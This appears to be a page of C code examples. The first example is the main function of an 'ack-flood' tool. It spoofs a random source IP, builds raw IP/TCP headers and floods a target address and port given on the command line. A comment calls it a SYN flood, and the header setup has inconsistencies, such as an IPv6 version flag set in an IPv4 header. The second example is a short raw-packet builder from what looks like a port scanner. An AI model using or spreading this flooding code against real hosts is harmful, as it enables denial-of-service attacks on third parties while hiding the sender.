Exemple #1
0
// Arguments standarized and checked //
// Respects executable [[--source-addr saddr] [--[remote|broadcast]-addr raddr] [--source-port sport] [--remote-port rport] [--n N]] /Y
int main(int argc,char* argv[]){
	srand(time(NULL));
    if(argc!=7){fprintf(stdout,"Usage: ack-flood --remote-addr raddr --remote-port rport --n N\n"); exit(0);}
	else{	
		
		/** Example source address and source port **/
		char* source_address = generate_random_ip_v4();  // Randomize source_address for this flood //
		char* source_port    = "1338";                   // Randomize port //
		char* remote_address = argv[2];
		char* remote_port    = argv[4];
		unsigned int iter    = atoi(argv[6]);

		/** Obtain the socket**/
		int sock = get_socket_descriptor_raw_tcp();
		/** Create buffer for your packets **/
		char buffer[DEFAULT_PCKT_LEN]; memset(buffer,0,DEFAULT_PCKT_LEN);
	
		/**Init sockaddr_in with my network information (Only if it's necessary, there are functions in applications that spoofs your addr)**/
		struct sockaddr_in myaddr;
		set_sockaddr_in(&myaddr,source_address,source_port);

		/** Create your headers and make your combinations **/
		IP_HEADER *ip_hdr   = (IP_HEADER *)buffer;
		TCP_HEADER *tcp_hdr = (TCP_HEADER *)(buffer + sizeof(IP_HEADER));

		/** Fill your headers (IP && TCP in this case) **/
		set_ip_header(ip_hdr,IP_VERSION_V6,IP_DEFAULT_IHL,IP_CURRENT_TOS,IP_DEFAULT_IDENTIFICATION,0,0,0,\
			      IP_DEFAULT_FRAGMENT_OFFSET,IP_DEFAULT_TTL,IP_TCP_PROTOCOL,0,source_address,remote_address,0);

		/** Use auxiliar functions to warn of current status **/
		SHOW_CREATED_IP_HEADER(ip_hdr);
		
		set_tcp_header(tcp_hdr,source_port,remote_port,0,0,TCP_DEFAULT_OFFSET,TCP_DEFAULT_RESERVED,0,0,0,0,1,0,0,0, \
			       TCP_DEFAULT_WINDOW,0,0,buffer);
		
		SHOW_CREATED_TCP_HEADER(tcp_hdr);

		/** Notice the kernel that we doesn't need it fill the header **/
		if(kernel_not_fill_my_header(sock)<0){fprintf(stderr,"Is not possible to notice the kernel"); exit(0);}
		
		/** Run your application type (Syn flood in this case)**/
		run_flood(sock,iter,ip_hdr,&myaddr,buffer);
	
	
	}
	return 0;
}
Exemple #2
0
static bool		build_raw(t_thread_handler *thread_handler, int port, int raw_len, char *host, char *scan, int id)
{
	ft_memset(thread_handler->buffer_raw, 0, raw_len);
	return (set_ipv4_header(thread_handler, raw_len, host, IPPROTO_TCP) &&
			set_tcp_header(thread_handler, port, raw_len, scan, id));
}